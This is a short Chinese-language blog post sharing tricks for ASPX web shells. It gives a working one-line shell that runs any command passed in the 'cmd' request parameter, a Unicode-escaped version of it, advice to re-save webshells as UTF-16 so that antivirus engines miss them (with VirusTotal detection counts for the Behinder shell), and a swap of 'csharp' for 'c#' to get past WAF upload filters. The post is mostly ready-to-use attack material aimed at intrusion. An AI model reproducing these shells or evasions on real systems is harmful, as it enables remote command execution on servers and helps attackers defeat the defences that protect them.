aspx小trick
作者:Sec-Labs | 发布时间:
总结一下aspx的小trick以最简单的执行命令为例
<%@ Page Language="c#"%> <% System.Diagnostics.Process.Start(Request.Params["cmd"]); %>
1. aspx也有类似jsp unicode的特性,不同的是jsp可以对.等符号进行全部编码,但是aspx不可以,只能对26个英文字符unicode编码。在body里用全限定类名表示,就可以避免import标签无法隐藏的问题了
<%@ Page Language="c#"%> <% \u0053\u0079\u0073\u0074\u0065\u006d.\u0044\u0069\u0061\u0067\u006e\u006f\u0073\u0074\u0069\u0063\u0073.\u0050\u0072\u006f\u0063\u0065\u0073\u0073.\u0053\u0074\u0061\u0072\u0074(\u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0050\u0061\u0072\u0061\u006d\u0073["cmd"]); %>

2.UTF-16编码
其实很多语言都支持UTF16编码,例如php,jsp等。aspx也同样支持。直接用vscode打开,重新用编码保存,选择utf-16编码即可。假如查杀引擎不支持utf16,则可以直接bypass。

以冰蝎为例,vt上有些憨憨引擎就不支持原始的冰蝎23检出

utf16编码后14检出

3. c#->csharp有些waf会检测上传文件头
<%@ Page Language="c#"%>
但是这里的c#可以替换为csharp,一样是可以解析的。如果正则写的比较死,这里上传就绕过了。这个trick群里一个师傅也提到过。
<%@ Page Language="csharp"%> <% System.Diagnostics.Process.Start(Request.Params["cmd"]); %>

标签:渗透技巧, 思路分享